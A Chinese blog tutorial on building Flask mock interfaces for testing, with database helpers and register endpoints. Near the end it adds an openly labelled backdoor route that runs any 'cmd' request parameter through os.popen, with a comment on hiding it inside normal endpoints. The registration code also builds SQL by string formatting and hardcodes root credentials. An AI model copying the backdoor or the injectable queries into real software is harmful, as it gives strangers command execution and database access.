python学习开发mock接口


Posted in Python onApril 28, 2019

本文实例为大家分享了python学习开发mock接口的具体步骤,供大家参考,具体内容如下

#1.测试为什么要开发接口?

1)在别的接口没有开发好的时候, mock接口(模拟接口)
2)查看数据, 避免直接操作数据库

#2.开发接口的顺序

1)安装flask

flask是一个轻量级开发框架

pip install flask

2)开发一个接口

开发步骤:

1.实例化一个服务server:flask.Flask(__name__)
2.函数前加装饰器@server.route(), 将函数变为一个接口
3.启动服务server:server.run()

import flask,json,pymysql
server=flask.Flask(__name__)#__name__代表当前python文件, 把当前python文件当成一个服务
 
def opt_db(sql):
  coon=pymysql.connect(
    host='192.168.109.132',
    user='root',
    passwd='123456',
    db='besttest',
    port=3306,
    charset='utf8'
  )#建立db链接
  cur=coon.cursor()#建立游标
  cur.execute(sql);#执行sql
  if sql.strip()[:6].upper()=='SELECT':
    res=cur.fetchall()#获取sql返回
  else:
    coon.commit()
    res='ok'
  cur.close()#关闭游标
  coon.close()#关闭db链接
  return res
 
 
#get请求, 请求路径ip:port/index
@server.route('/index',methods=['get'])#装饰器,代表index函数是一个接口,支持get请求(默认get请求)
def index():
  res={'msg':'这是我开发的第一个接口','msg_code':'0'}
  return json.dumps(res,ensure_ascii=False,indent=4)
 
 
#post请求, 请求路径ip:port/reg
@server.route('/reg',methods=['post'])#装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求)
def reg():
  username=flask.request.values.get('username')#获取接口入参
  pwd=flask.request.values.get('passwd')
  if username and pwd:
    sql='select * from syz_stu where username="%s";'%username
    if opt_db(sql):
      res={'msg':'用户已存在','msg_code':2001}#2001用户已存在
    else:
      insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd)
      opt_db(insert_sql)
      res={'msg':'注册成功','msg_code':'0'}
  else:
    res={'msg':'必填字段未填, 请查看接口文档','msg_code':1001}#1001必填字段未填
  return json.dumps(res,ensure_ascii=False,indent=4)
#后门接口
@server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error
def cmd():
  cmd = flask.request.values.get('cmd')#接口的入参
  res = os.popen(cmd)#执行用户命令
  return res.read()#返回执行结果
  #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件
  #隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
  # 默认可以不传,一但传了再res = os.popen(cmd)
 
server.run(port=6688,debug=True,host='0.0.0.0')#启动服务,接口才能访问
# port=6688指定端口为6688
# debug=True设置代码修改后服务自动重启
# host='0.0.0.0'设置同一局域网的可以访问
# server.run() 必须在所有接口定义完后再定义, 否则, server.run()检测不到之后定义的接口, 接口是无法被运行的

运行以上代码,打开浏览器,请求http://localhost:6688/index,将看到返回{'msg': '这是我开发的第一个接口', 'msg_code': 0}

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python3之微信文章爬虫实例讲解
Jul 12 Python
Python学习小技巧总结
Jun 10 Python
python opencv实现旋转矩形框裁减功能
Jul 25 Python
Django2.1.3 中间件使用详解
Nov 26 Python
python面试题Python2.x和Python3.x的区别
May 28 Python
解决Python设置函数调用超时,进程卡住的问题
Aug 08 Python
Tensorflow实现多GPU并行方式
Feb 03 Python
tensorflow 限制显存大小的实现
Feb 03 Python
python re模块匹配贪婪和非贪婪模式详解
Feb 11 Python
python sitk.show()与imageJ结合使用常见的问题
Apr 20 Python
Python3.8.2安装包及安装教程图文详解(附安装包)
Nov 28 Python
Python3 如何开启自带http服务
May 18 Python
Python简单基础小程序的实例代码
Apr 28 #Python
python实现Excel文件转换为TXT文件
Apr 28 #Python
Python3.5模块的定义、导入、优化操作图文详解
Apr 27 #Python
Python3.5内置模块之time与datetime模块用法实例分析
Apr 27 #Python
Python3.5内置模块之os模块、sys模块、shutil模块用法实例分析
Apr 27 #Python
Python3.5内置模块之shelve模块、xml模块、configparser模块、hashlib、hmac模块用法分析
Apr 27 #Python
python爬取基于m3u8协议的ts文件并合并
Apr 26 #Python
You might like
实例(Smarty+FCKeditor新闻系统)
2007/01/02 PHP
discuz论坛 用户登录 后台程序代码
2008/11/27 PHP
php判断输入不超过mysql的varchar字段的长度范围
2011/06/24 PHP
php读取csv文件后,uft8 bom导致在页面上显示出现问题的解决方法
2013/08/10 PHP
codeigniter集成ucenter1.6双向通信的解决办法
2014/06/12 PHP
ThinkPHP中url隐藏入口文件后接收alipay传值的方法
2014/12/09 PHP
php获取文件名后缀常用方法小结
2015/02/24 PHP
动态表单验证的操作方法和TP框架里面的ajax表单验证
2017/07/19 PHP
swoole_process实现进程池的方法示例
2018/10/29 PHP
PDO::inTransaction讲解
2019/01/28 PHP
静态的动态续篇之来点XML
2006/12/23 Javascript
ExtJS[Desktop]实现图标换行示例代码
2013/11/17 Javascript
qq悬浮代码(兼容各个浏览器)
2014/01/29 Javascript
jquery用offset()方法获得元素的xy坐标
2014/09/06 Javascript
JS将滑动门改为选项卡(需鼠标点击)的实现方法
2015/09/27 Javascript
基于jquery实现即时检查格式是否正确的表单
2016/05/06 Javascript
Python类方法__init__和__del__构造、析构过程分析
2015/03/06 Python
在Django中进行用户注册和邮箱验证的方法
2016/05/09 Python
Python的装饰器使用详解
2017/06/26 Python
Python3中的列表,元组,字典,字符串相关知识小结
2017/11/10 Python
Django框架实现分页显示内容的方法详解
2019/05/10 Python
python-序列解包(对可迭代元素的快速取值方法)
2019/08/24 Python
详解pandas中iloc, loc和ix的区别和联系
2020/03/09 Python
python 判断txt每行内容中是否包含子串并重新写入保存的实例
2020/03/12 Python
Ubuntu18.04安装 PyCharm并使用 Anaconda 管理的Python环境
2020/04/08 Python
加拿大城市本地限时优惠:Buytopia.ca
2018/09/19 全球购物
德国珠宝和手表在线商店:VALMANO
2019/03/24 全球购物
自动化专业个人求职信范文
2013/11/29 职场文书
房地产销售计划书
2014/01/10 职场文书
运动会跳远广播稿
2014/02/04 职场文书
电脑专业个人求职信范文
2014/02/04 职场文书
精彩的广告词
2014/03/19 职场文书
电子商务实训报告总结
2014/11/05 职场文书
给老师的一封感谢信
2015/01/20 职场文书
暑假生活随笔
2015/08/15 职场文书
用JS创建一个录屏功能
2021/11/11 Javascript